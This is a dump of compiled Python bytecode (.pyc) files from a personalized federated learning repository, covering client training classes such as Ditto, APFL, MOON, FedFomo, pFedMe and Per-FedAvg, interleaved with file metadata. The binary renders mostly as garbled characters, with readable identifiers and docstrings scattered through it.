r-r.r/r0r1r3r4r5r6r7r8rr9rr:r>rrr?) rr@rArBr>rDrErFrr"r"r#ÚptrainIs(        zclientDitto.ptrainc CsH| ¡}|j ¡d}d}g}g}t ¡�Ö|D]À\}}t|ƒtgƒkr^|d |j¡|d<n | |j¡}| |j¡}| |¡}|t tj |dd�|k¡  ¡7}||j d7}|  t  |¡ ¡ ¡ ¡¡|  t| ¡ ¡ ¡t |j¡d�¡q0Wdƒn1�s0Ytj|dd�}tj|dd�}tj||dd�} ||| fS)Nrr$)Údim)Úclasses)ÚaxisÚmicro)Úaverage)Úload_test_datarÚevalrÚno_gradr3r4r5ÚsumÚargmaxÚitemÚshapeÚappendÚFÚsoftmaxÚdetachÚcpuÚnumpyrr.ÚarangeÚ num_classesÚ concatenaterÚ roc_auc_score) rÚtestloaderfullÚtest_accÚtest_numÚy_probÚy_truerDrErFÚaucr"r"r#Ú test_metricshs*       HzclientDitto.test_metrics)Ú__name__Ú __module__Ú __qualname__r r+rGrdÚ __classcell__r"r"r r#rs (r)rrYr.r*r Útorch.nnrÚflcore.optimizers.fedoptimizerrÚflcore.clients.clientbaserÚtorch.nn.functionalÚ functionalrUÚsklearn.preprocessingrÚsklearnrrr"r"r"r#Ú<module>s     
3,460
Python
.py
34
100.705882
420
0.432156
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,659
clientapfl.cpython-39.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientapfl.cpython-39.pyc
a f¾`c€ ã@sLddlZddlZddlmZddlZddlZddlmZGdd„deƒZ dS)éN)ÚClientcs,eZdZ‡fdd„Zdd„Zdd„Z‡ZS)Ú clientAPFLc srtƒj||||fi|¤�t ¡|_tjj|j  ¡|j d�|_ |j |_ t  |j¡|_tjj|j  ¡|j d�|_dS)N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ parametersÚ learning_rateÚ optimizerÚalphaÚcopyÚdeepcopyÚ model_perÚ optimizer_per)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs©Ú __class__©ús/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientapfl.pyr s  zclientAPFL.__init__c Cs’| ¡}t ¡}|j ¡|j}|jr8tj d|d¡}t |ƒD]ä}t |ƒD]Ö\}\}}t |ƒt gƒkr~|d  |j ¡|d<n |  |j ¡}|  |j ¡}|jr¶t dt tj ¡¡¡|j ¡| |¡}| ||¡} |  ¡|j ¡|j ¡| |¡} | | |¡} |  ¡|j ¡| ¡qLq@t|j ¡|j ¡ƒD]$\} } d|j| |j| | _�q<|jdd7<|jdt ¡|7<dS)Néérgš™™™™™¹?Ú num_roundsÚ total_cost)Úload_train_dataÚtimer ÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚtoÚdeviceÚsleepÚabsÚrandrÚ zero_gradr ÚbackwardÚsteprrÚ alpha_updateÚziprrÚdataÚtrain_time_cost)rÚ trainloaderÚ start_timeÚmax_local_stepsr6ÚiÚxÚyÚoutputr Z output_perZloss_perÚlpÚprrrr&s:             zclientAPFL.traincCs¦d}t|j ¡|j ¡ƒD]P\}}|j|j}|j|jjd|j|jj}|| d¡j  | d¡¡7}q|d|j7}|j|j ||_t   |j  ¡dd¡|_dS)Nrr éÿÿÿÿg{®Gáz”?ggğ?)r8r rrr9rÚgradÚviewÚTÚdotrr)ÚclipÚitem)rZ grad_alphaZl_paramsZp_paramsZdifrErrrr7>s  zclientAPFL.alpha_update)Ú__name__Ú __module__Ú __qualname__rr&r7Ú __classcell__rrrrr s *r) rr Útorch.nnrÚnumpyr)r%Úflcore.clients.clientbaserrrrrrÚ<module>s   
2,383
Python
.py
30
78.366667
277
0.434579
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,660
clientphp.cpython-39.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientphp.cpython-39.pyc
a Èæ`cã@sVddlZddlZddlmZddlZddlZddlmZGdd„deƒZ ddd„Z dS) éN)ÚClientcs,eZdZ‡fdd„Zdd„Zdd„Z‡ZS)Ú clientPHPc s|tƒj||||fi|¤�t ¡|_tjj|j  ¡|j d�|_ |j |j |_ |j|_t |j¡|_|j  ¡D] }d|_qldS)N)ÚlrF)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ parametersÚ learning_rateÚ optimizerÚmuÚ global_roundsÚlamdaÚcopyÚdeepcopyÚmodel_sÚ requires_grad)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargsÚparam©Ú __class__©úr/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientphp.pyr s zclientPHP.__init__c CsP| ¡}t ¡}|j ¡|j}|jr8tj d|d¡}t |ƒD]Ş}t |ƒD]Ğ\}\}}t |ƒt gƒkr~|d  |j ¡|d<n |  |j ¡}|  |j ¡}|jr¶t dt tj ¡¡¡|j ¡| |¡}| ||¡d|j} | t|j |¡|j |¡d|j ƒ|j7} |  ¡|j ¡qLq@|jdd7<|jdt ¡|7<dS)Néérgš™™™™™¹?ÚrbfÚ num_roundsÚ total_cost)Úload_train_dataÚtimer ÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚtoÚdeviceÚsleepÚabsÚrandrÚ zero_gradr rÚMMDÚbaserÚbackwardÚstepÚtrain_time_cost) rÚ trainloaderÚ start_timeÚmax_local_stepsr<ÚiÚxÚyÚoutputr r!r!r"r*s,      *zclientPHP.traincCsl|j|}t| ¡|j ¡ƒD]\}}|j ¡|_qt| ¡|j ¡ƒD]\}}|d||||_qHdS)Nr#)rÚziprrÚdataÚcloner )rr ÚRrÚ new_paramÚ old_paramr!r!r"Úset_parameters:s  zclientPHP.set_parameters)Ú__name__Ú __module__Ú __qualname__rr*rKÚ __classcell__r!r!rr"r s !rÚcpucCs¸t || ¡¡t || ¡¡t || ¡¡}}}| ¡ d¡ |¡}| ¡ d¡ |¡}| ¡|d|} | ¡|d|} | ¡|d|} t |j¡ |¡t |j¡ |¡t |j¡ |¡} } }|dk�rBgd¢}|D]X}| |d|d| d7} | |d|d| d7} ||d|d| d7}qè|dk�r¢gd¢}|D]H}| t  d | |¡7} | t  d | |¡7} |t  d | |¡7}�qXt  | | d|¡S) a Emprical maximum mean discrepancy. The lower the result the more evidence that distributions are the same. Args: x: first sample, distribution P y: second sample, distribution Q kernel: kernel type such as "multiscale" or "rbf" rg@Z multiscale)gš™™™™™É?gà?gÍÌÌÌÌÌì?gÍÌÌÌÌÌô?r$éÿÿÿÿr%)é ééé2gà¿) r ÚmmÚtÚdiagÚ unsqueezeÚ expand_asÚzerosÚshaper3ÚexpÚmean)rBrCÚkernelr4ÚxxÚyyÚzzÚrxÚryZdxxZdyyZdxyÚXXÚYYZXYZbandwidth_rangeÚar!r!r"r9Ds. 4ş   r9)rP) rr Útorch.nnrÚnumpyr-r)Úflcore.clients.clientbaserrr9r!r!r!r"Ú<module>s  :
3,288
Python
.py
39
82.230769
313
0.429671
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,661
clientbase.cpython-38.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientbase.cpython-38.pyc
U ºşchã@s‚ddlZddlZddlmZddlZddlZddlmmZ ddl m Z ddl m Z ddlmZddlmZGdd„deƒZdS)éN)Ú DataLoader)Úlabel_binarize)Úmetrics)Úread_client_datac@sheZdZdZdd„Zddd„Zddd„Zd d „Zd d „Zd d„Z dd„Z dd„Z ddd„Z ddd„Z dS)ÚClientz7 Base class for clients in federated learning. cKsØt |j¡|_|j|_|j|_||_|j|_||_|j|_||_ ||_ |j |_ |j |_ |j|_d|_|j ¡D]}t|tjƒrnd|_qŠqn|d|_|d|_dddœ|_dddœ|_|j|_|j|_|j |j |_dS)NFTÚ train_slowÚ send_slowrg)Ú num_roundsÚ total_cost)ÚcopyÚdeepcopyÚmodelÚdatasetÚdeviceÚidÚsave_folder_nameÚargsÚ num_classesÚ train_samplesÚ test_samplesÚ batch_sizeÚlocal_learning_rateÚ learning_rateÚ local_stepsZ has_BatchNormÚchildrenÚ isinstanceÚnnÚ BatchNorm2drrÚtrain_time_costZsend_time_costÚprivacyZdp_sigmaÚ sample_rate)ÚselfrrrrÚkwargsÚlayer©r$õbD:\京东\promot\第二次投稿\å®�验\æœ�务器\native - pro\system\flcore\clients\clientbase.pyÚ__init__s0     zClient.__init__NcCs4|dkr|j}t|j|j|jdd�}t||ddd�S)NT©Zis_train©Ú drop_lastÚshuffle©rrrrrr)r!rÚ train_datar$r$r%Úload_train_data2szClient.load_train_datacCs4|dkr|j}t|j|j|jdd�}t||ddd�S)NFr'Tr(r+)r!rÚ test_datar$r$r%Úload_test_data8szClient.load_test_datacCs.t| ¡|j ¡ƒD]\}}|j ¡|_qdS©N)ÚzipÚ parametersr ÚdataÚclone)r!r Ú new_paramÚ old_paramr$r$r%Úset_parameters>szClient.set_parameterscCs,t| ¡| ¡ƒD]\}}|j ¡|_qdSr0©r1r2r3r4)r!r ÚtargetÚparamZ target_paramr$r$r%Ú clone_modelBszClient.clone_modelcCs(t| ¡|ƒD]\}}|j ¡|_qdSr0r8)r!r Ú new_paramsr:r5r$r$r%Úupdate_parametersGszClient.update_parametersc CsD| ¡}|j |j¡|j ¡d}d}g}g}t ¡�Æ|D]º\}}t|ƒtgƒkrl|d |j¡|d<n | |j¡}| |j¡}| |¡}|t tj |dd�|k¡  ¡7}||j d7}|  |  ¡ ¡ ¡¡|  t|  ¡ ¡ ¡t |j¡d�¡q>W5QRX|j ¡tj|dd�}tj|dd�}tj||dd�} ||| fS)Nré)Údim)Úclasses)ÚaxisÚmicro)Úaverage)r/r ÚtorÚevalÚtorchÚno_gradÚtypeÚsumÚargmaxÚitemÚshapeÚappendÚdetachÚcpuÚnumpyrÚnpÚarangerÚ concatenaterZ roc_auc_score) r!ZtestloaderfullZtest_accZtest_numZy_probZy_trueÚxÚyÚoutputZaucr$r$r%Ú test_metricsKs.       2 zClient.test_metricscCs¼| ¡}|j |j¡|j ¡d}d}|D]|\}}t|ƒtgƒkrZ|d |j¡|d<n | |j¡}| |j¡}| |¡}||jd7}|| ||¡ ¡|jd7}q,|j  ¡||fS)Nr) r-r rDrrErHrLÚlossrKrO)r!Ú trainloaderZ train_numrXrTrUrVr$r$r%Ú train_metricsrs       zClient.train_metricsc CsT|dkr|j}tj |¡s$t |¡t |tj |dt|j ƒd|d¡¡dS©NZclient_Ú_z.pt) rÚosÚpathÚexistsÚmakedirsrFÚsaveÚjoinÚstrr)r!rKÚ item_nameÚ item_pathr$r$r%Ú save_itemšs   zClient.save_itemcCs8|dkr|j}t tj |dt|jƒd|d¡¡Sr[)rrFÚloadr]r^rbrcr)r!rdrer$r$r%Ú load_item¡szClient.load_item)N)N)N)N)Ú__name__Ú __module__Ú __qualname__Ú__doc__r&r-r/r7r;r=rWrZrfrhr$r$r$r%r s  '( r)r rFÚtorch.nnrrPrQr]Útorch.nn.functionalÚ functionalÚFÚtorch.utils.datarZsklearn.preprocessingrZsklearnrZutils.data_utilsrÚobjectrr$r$r$r%Ú<module>s     
4,438
Python
.py
38
115.5
425
0.428312
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,662
clientrep.cpython-38.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientrep.cpython-38.pyc
U Ǭkc ã@sDddlZddlmZddlZddlZddlmZGdd„deƒZdS)éN)ÚClientcs,eZdZ‡fdd„Zdd„Zdd„Z‡ZS)Ú clientRepc sdtƒj||||f|�t ¡|_tjj|jj   ¡|j d�|_ tjj|jj   ¡|j d�|_|j|_dS)N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚbaseÚ parametersÚ learning_rateÚ optimizerÚ predictorÚ poptimizerÚ plocal_steps)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs©Ú __class__©õWD:\京东\promot\第二次投稿\å®�验\native - pro\system\flcore\clients\clientrep.pyr s  zclientRep.__init__c CsX| ¡}t ¡}|j |j¡|j ¡|jj ¡D] }d|_q4|jj  ¡D] }d|_qLt |j ƒD]ª}t |ƒD]œ\}\}}t |ƒt gƒkr |d |j¡|d<n | |j¡}| |j¡}|jrØt dt tj ¡¡¡|j ¡| |¡}| ||¡} |  ¡|j ¡qnqb|j} |j�r.tj d| d¡} |jj ¡D] }d|_�q:|jj  ¡D] }d|_�qTt | ƒD]²}t |ƒD]¢\}\}}t |ƒt gƒk�rª|d |j¡|d<n | |j¡}| |j¡}|j�rät dt tj ¡¡¡|j ¡| |¡}| ||¡} |  ¡|j ¡�qv�qj|j ¡|jdd7<|jdt ¡|7<dS) NFTrgš™™™™™¹?ééÚ num_roundsÚ total_cost)Úload_train_dataÚtimer ÚtoÚdeviceÚtrainrrÚ requires_gradrÚrangerÚ enumerateÚtypeÚ train_slowÚsleepÚnpÚabsÚrandomÚrandrÚ zero_gradr ÚbackwardÚstepÚ local_stepsÚrandintrÚcpuÚtrain_time_cost) rÚ trainloaderÚ start_timeÚparamr4ÚiÚxÚyÚoutputr Úmax_local_stepsrrrr'sX               zclientRep.traincCs0t| ¡|jj ¡ƒD]\}}|j ¡|_qdS)N)Úziprr rÚdataÚclone)rrÚ new_paramÚ old_paramrrrÚset_parametersMszclientRep.set_parameters)Ú__name__Ú __module__Ú __qualname__rr'rFÚ __classcell__rrrrr s :r) r Útorch.nnrÚnumpyr.r$Úflcore.clients.clientbaserrrrrrÚ<module>s   
2,312
Python
.py
32
71.09375
290
0.419991
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,663
clientmoon.cpython-37.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientmoon.cpython-37.pyc
B ïfcÏ ã@s^ddlZddlZddlmZddlZddlZddlmmZ ddl m Z Gdd„de ƒZ dS)éN)ÚClientcs,eZdZ‡fdd„Zdd„Zdd„Z‡ZS)Ú clientMOONc sbtƒj||||f|�t ¡|_tjj|j  ¡|j d�|_ |j |_ |j |_ d|_t |j¡|_dS)N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ parametersÚ learning_rateÚ optimizerÚtauÚmuÚ global_modelÚcopyÚdeepcopyÚ old_model)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs)Ú __class__©úG/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientmoon.pyr s zclientMOON.__init__c Cs0| ¡}t ¡}|j |j¡|j |j¡|j |j¡|j ¡|j}|j rbt j   d|d¡}�xnt |ƒD�]`}�xXt|ƒD�]J\}\}}t|ƒtgƒkr´|d |j¡|d<n | |j¡}| |j¡}|j rìt dt  t j  ¡¡¡|j ¡|j |¡}|j |¡} | | |¡} |j |¡ ¡} |j |¡ ¡} t t t || ¡|j¡t t || ¡|j¡t t || ¡|j¡¡ } | |jt  | ¡7} |  !¡|j"�rÂt#|j|t$|ƒƒq€|j %¡q€WqnW|j &¡|j &¡|j &¡t' (|j¡|_|j)dd7<|j)dt ¡|7<dS)Néérgš™™™™™¹?Ú num_roundsÚ total_cost)*Úload_train_dataÚtimer ÚtoÚdevicerrÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandrÚ zero_gradÚbaseÚ predictorr Údetachr ÚlogÚexpÚFÚcosine_similarityrrÚmeanÚbackwardÚprivacyÚdp_stepÚlenÚstepÚcpurrÚtrain_time_cost)rÚ trainloaderÚ start_timeÚmax_local_stepsrAÚiÚxÚyÚrepÚoutputr Zrep_oldZ rep_globalZloss_conrrrr(sF       P   zclientMOON.traincCs8x,t| ¡|j ¡ƒD]\}}|j ¡|_qW||_dS)N)Úziprr ÚdataÚcloner)rr Ú new_paramÚ old_paramrrrÚset_parametersOszclientMOON.set_parameters)Ú__name__Ú __module__Ú __qualname__rr(rQÚ __classcell__rr)rrr s 2r) rr Útorch.nnrÚnumpyr+r%Útorch.nn.functionalÚ functionalr:Úflcore.clients.clientbaserrrrrrÚ<module>s  
2,421
Python
.py
28
85.357143
263
0.44528
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,664
clientfomo.cpython-38.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientfomo.cpython-38.pyc
U ”jfcàã@sdddlZddlmZddlZddlZddlZddlmZddl m Z ddl m Z Gdd„deƒZ dS)éN)ÚClient)Ú DataLoader)Úread_client_datacsneZdZ‡fdd„Zdd„Zddd„Zdd „Zd d „Zd d „Zdd„Z dd„Z dd„Z dd„Z dd„Z ‡ZS)Ú clientFomoc sŒtƒj||||f|�|j|_t |j¡|_g|_g|_t j |j|j d�|_ t  ¡|_t jj|j ¡|jd�|_d|_|jd|j|_dS)N)Údevice)Úlrgš™™™™™É?é)ÚsuperÚ__init__Ú num_clientsÚcopyÚdeepcopyÚmodelÚ old_modelÚ received_idsÚreceived_modelsÚtorchÚzerosrÚ weight_vectorÚnnÚCrossEntropyLossÚlossÚoptimÚSGDÚ parametersÚ learning_rateÚ optimizerÚ val_ratioÚ train_samples)ÚselfÚargsÚidrÚ test_samplesÚkwargs©Ú __class__©õLD:\京东\promot\cifar\cifar\Cifar10_iid\system\flcore\clients\clientfomo.pyr s zclientFomo.__init__c CsJ| ¡\}}t ¡}| |¡| |j|j¡|j |j¡|j ¡|j }|j rdt j   d|d¡}t|ƒD]¢}|D]˜\}}t|ƒtgƒkr¢|d |j¡|d<n | |j¡}| |j¡}|j rÚt dt  t j  ¡¡¡|j ¡| |¡}| ||¡} |  ¡|j ¡qtql|j ¡|jdd7<|jdt ¡|7<dS)Nrérgš™™™™™¹?Ú num_roundsÚ total_cost)Úload_train_dataÚtimeÚaggregate_parametersÚ clone_modelrrÚtorÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚtypeÚsleepÚabsÚrandrÚ zero_gradrÚbackwardÚstepÚcpuÚtrain_time_cost) rÚ trainloaderÚ val_loaderÚ start_timeÚmax_local_stepsr=ÚxÚyÚoutputrr&r&r'r0s2           zclientFomo.trainNcCsz|dkr|j}t|j|jdd�}t|jt|ƒƒ }||d…}|d|…}t||jddd�}t||j|jdd�}||fS)NT)Úis_train)Ú drop_lastÚshuffle) Ú batch_sizerÚdatasetr!ÚintrÚlenrÚ has_BatchNorm)rrJÚ train_dataÚval_idxZval_datar@rAr&r&r'r+?s  zclientFomo.load_train_datacCsÀ| ¡\}}|j |j¡|j ¡d}d}|D]|\}}t|ƒtgƒkr^|d |j¡|d<n | |j¡}| |j¡}| |¡}||jd7}|| ||¡ ¡|jd7}q0|j  ¡||fS©Nr) r+rr/rÚevalr7ÚshaperÚitemr>)rr@rAÚ train_numrrDrErFr&r&r'Ú train_metricsLs        zclientFomo.train_metricscCs||_||_dS©N)rr)rÚidsÚmodelsr&r&r'Úreceive_modelscszclientFomo.receive_modelscCs–g}| |j|¡}|jD]h}g}t| ¡|j ¡ƒD]\}}| || d¡¡q4t |¡}| || ||¡t  |¡d¡q|  |¡t  |¡S)Néÿÿÿÿgñh㈵øä>) Úrecalculate_lossrrÚziprÚappendÚviewrÚcatÚnormÚweight_vector_updateÚtensor)rrAÚ weight_listÚLÚreceived_modelZ params_difZparam_nZparam_ir&r&r'Ú weight_calgs  & zclientFomo.weight_calcCsTt |j¡|_t||jƒD]\}}|j|| ¡7<qt |j¡  |j ¡|_dSrW) r3rr rr]rrTrrcr/r)rrdÚwr!r&r&r'rb‚szclientFomo.weight_vector_updatecCs�d}| |j¡|D]f\}}t|ƒtgƒkrB|d |j¡|d<n | |j¡}| |j¡}||ƒ}| ||¡}|| ¡7}q| ¡|t|ƒSrQ)r/rr7rrTr>rM)rZ new_modelrArerDrErFrr&r&r'r\Œs     zclientFomo.recalculate_losscCs:t|j ¡| ¡ƒD] \}}|j|j ¡|7_qdSrW)r]rrÚdataÚclone)rrhrfÚparamZreceived_paramr&r&r'Úadd_parameters›szclientFomo.add_parameterscCs\| | |¡¡}t|ƒdkrX|j ¡D]}|j ¡q&t||jƒD]\}}|  ||¡qBdSrQ) Ú weight_scalergrMrrriÚzero_r]rrl)rrAÚweightsrkrhrfr&r&r'r-Ÿs   zclientFomo.aggregate_parameterscsNt |t d¡¡}t |¡‰ˆdkr@‡fdd„|Dƒ}t |¡St g¡SdS)Nrcsg|] }|ˆ‘qSr&r&)Ú.0rh©Úw_sumr&r'Ú <listcomp>­sz+clientFomo.weight_scale.<locals>.<listcomp>)rÚmaximumrcÚsum)rror&rqr'rm©s   zclientFomo.weight_scale)N)Ú__name__Ú __module__Ú __qualname__r r0r+rVrZrgrbr\rlr-rmÚ __classcell__r&r&r$r'r s #   r)rÚtorch.nnrÚnumpyr3r,r Úflcore.clients.clientbaserÚtorch.utils.datarÚutils.data_utilsrrr&r&r&r'Ú<module>s    
5,099
Python
.py
48
105.145833
870
0.403405
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,665
clientpFedMe.cpython-38.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientpFedMe.cpython-38.pyc
U ”jfcöã@sXddlZddlZddlZddlZddlmZddlmZddl m Z Gdd„de ƒZ dS)éN)ÚpFedMeOptimizer)ÚClientcs4eZdZ‡fdd„Zdd„Zdd„Zdd„Z‡ZS) Ú clientpFedMec s‚tƒj||||f|�|j|_|j|_|j|_t t|j   ¡ƒ¡|_ t t|j   ¡ƒ¡|_ t  ¡|_t|j   ¡|j|jd�|_dS)N)ÚlrÚlamda)ÚsuperÚ__init__rÚKZp_learning_rateZpersonalized_learning_rateÚcopyÚdeepcopyÚlistÚmodelÚ parametersÚ local_paramsÚpersonalized_paramsÚnnÚCrossEntropyLossÚlossrÚ optimizer)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs©Ú __class__©õND:\京东\promot\cifar\cifar\Cifar10_iid\system\flcore\clients\clientpFedMe.pyr s ÿzclientpFedMe.__init__c Cs�| ¡}t ¡}|j |j¡|j ¡|j}|jrFtj   d|d¡}t |ƒD�]}|D]ø\}}t |ƒt gƒkr†|d |j¡|d<n | |j¡}| |j¡}|jr¾t  dt tj  ¡¡¡t |jƒD]@}|j ¡| |¡}| ||¡} |  ¡|j |j|j¡|_qÈt|j|jƒD]6\} } |  |j¡} | j|j|j| j| j| _�qqXqN|j ¡| |j|j¡|jdd7<|jdt ¡|7<dS)Néérgš™™™™™¹?Ú num_roundsÚ total_cost)Úload_train_dataÚtimer ÚtoÚdeviceÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚtypeÚsleepÚabsÚrandr rÚ zero_gradrÚbackwardÚsteprrÚzipÚdatarÚ learning_rateÚcpuÚupdate_parametersÚtrain_time_cost) rÚ trainloaderÚ start_timeÚmax_local_stepsr4ÚxÚyÚiÚoutputrÚ new_paramZ localweightrrrr's8        ( zclientpFedMe.traincCs@t| ¡|j ¡|jƒD]"\}}}|j ¡|_|j ¡|_qdS)N)r5rr rr6Úclone)rr rBÚ old_paramZ local_paramrrrÚset_parametersEs" zclientpFedMe.set_parametersc Csâ| ¡}| |j|j¡|j |j¡|j ¡d}d}t ¡�Š|D]~\}}t |ƒt gƒkrt|d |j¡|d<n | |j¡}| |j¡}| |¡}|t  tj |dd�|k¡  ¡7}||j d7}qFW5QRX|j ¡||fS)Nrr)Údim)Úload_test_datar9r rr%r&ÚevalÚtorchÚno_gradr.ÚsumÚargmaxÚitemÚshaper8)rÚtestloaderfullÚtest_accÚtest_numr>r?rArrrÚtest_metrics_personalizedJs"        z&clientpFedMe.test_metrics_personalized)Ú__name__Ú __module__Ú __qualname__rr'rErRÚ __classcell__rrrrr s +r) Únumpyr*r$r rIÚtorch.nnrZflcore.optimizers.fedoptimizerrÚflcore.clients.clientbaserrrrrrÚ<module>s   
2,899
Python
.py
29
98.62069
457
0.444096
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,666
clientperavg.cpython-37.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientperavg.cpython-37.pyc
B gûecã@sXddlZddlZddlZddlZddlmZddlmZddl m Z Gdd„de ƒZ dS)éN)ÚPerAvgOptimizer)ÚClientcs,eZdZ‡fdd„Zdd„Zdd„Z‡ZS)Ú clientPerAvgc sBtƒj||||f|�|j|_t ¡|_t|j  ¡|jd�|_ dS)N)Úlr) ÚsuperÚ__init__Ú learning_rateÚbetaÚnnÚCrossEntropyLossÚlossrÚmodelÚ parametersÚ optimizer)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs)Ú __class__©úI/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientperavg.pyr s zclientPerAvg.__init__c Cs˜| |jd¡}t ¡}|j |j¡|j ¡|j}|jrNt j   d|d¡}�x t |ƒD�]ş}�xö|D�]ì\}}t  t|j ¡ƒ¡}t|ƒtgƒkrÔddg}|dd|j… |j¡|d<|dd|j…|d<n|d|j… |j¡}|d|j… |j¡} |j�r"t dt  t j  ¡¡¡|j ¡| |¡} | | | ¡} |  ¡|j ¡t|ƒtgƒk�r¤ddg}|d|jd… |j¡|d<|d|jd…|d<n||jd… |j¡}||jd… |j¡} |j�ròt dt  t j  ¡¡¡|j ¡| |¡} | | | ¡} |  ¡x*t|j ¡|ƒD]\} } | j ¡| _�q,W|jj|jd�qhWqZW|j ¡|jdd7<|jdt ¡|7<dS)Néérgš™™™™™¹?)r Ú num_roundsÚ total_cost) Úload_train_dataÚ batch_sizeÚtimer ÚtoÚdeviceÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚcopyÚdeepcopyÚlistrÚtypeÚsleepÚabsÚrandrÚ zero_gradr ÚbackwardÚstepÚzipÚdataÚcloner ÚcpuÚtrain_time_cost)rÚ trainloaderÚ start_timeÚmax_local_stepsr2ÚXÚYZ temp_modelÚxÚyÚoutputr Ú old_paramÚ new_paramrrrr"sR         zclientPerAvg.traincCs8| |j¡}t|ƒ}|j |j¡|j ¡t|ƒ\}}t|ƒtgƒkr^|d |j¡|d<n | |j¡}| |j¡}|j   ¡| |¡}|  ||¡}|  ¡|j   ¡t|ƒ\}}t|ƒtgƒkrÚ|d |j¡|d<n | |j¡}| |j¡}|j   ¡| |¡}|  ||¡}|  ¡|j j |jd�|j ¡dS)Nr)r )Úload_test_datarÚiterr r r!r"Únextr,rr0r r1r2r r6)rZ testloaderZiter_testloaderr=r>r?r rrrÚtrain_one_stepNs2               zclientPerAvg.train_one_step)Ú__name__Ú __module__Ú __qualname__rr"rEÚ __classcell__rr)rrr s :r) Únumpyr%Útorchrr)Útorch.nnr Úflcore.optimizers.fedoptimizerrÚflcore.clients.clientbaserrrrrrÚ<module>s   
2,797
Python
.py
40
68.7
218
0.397389
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,667
clientbabu.cpython-37.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientbabu.cpython-37.pyc
B šúecù ã@sLddlZddlZddlmZddlZddlZddlmZGdd„deƒZ dS)éN)ÚClientcs<eZdZ‡fdd„Zdd„Zdd„Zddgfd d „Z‡ZS) Ú clientBABUc sdtƒj||||f|Žt ¡|_tjj|jj   ¡|j d�|_ |j |_ x|jj  ¡D] }d|_qRWdS)N)ÚlrF)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚbaseÚ parametersÚ learning_rateÚ optimizerÚfine_tuning_stepsÚ predictorÚ requires_grad)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargsÚparam)Ú __class__©úG/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientbabu.pyr s  zclientBABU.__init__c Cs<| ¡}t ¡}|j |j¡|j ¡|j}|jrFtj   d|d¡}xºt |ƒD]®}x¨t |ƒD]œ\}\}}t |ƒt gƒkr�|d |j¡|d<n | |j¡}| |j¡}|jrÈt dt tj  ¡¡¡|j ¡| |¡}| ||¡} |  ¡|j ¡q^WqPW|j ¡|jdd7<|jdt ¡|7<dS)Néérgš™™™™™¹?Ú num_roundsÚ total_cost)Úload_train_dataÚtimer ÚtoÚdeviceÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandrÚ zero_gradr ÚbackwardÚstepÚcpuÚtrain_time_cost) rÚ trainloaderÚ start_timeÚmax_local_stepsr5ÚiÚxÚyÚoutputr rrrr's.       zclientBABU.traincCs4x.t| ¡|jj ¡ƒD]\}}|j ¡|_qWdS)N)Úziprr rÚdataÚclone)rrÚ new_paramÚ old_paramrrrÚset_parameters6s zclientBABU.set_parametersrrc Cs| ¡}|j |j¡|j ¡d|krDx|jj ¡D] }d|_q6Wd|krhx|jj ¡D] }d|_qZWxœt|j ƒD]Ž}xˆt |ƒD]|\}\}}t |ƒt gƒkr´|d |j¡|d<n | |j¡}| |j¡}|j   ¡| |¡}| ||¡} |  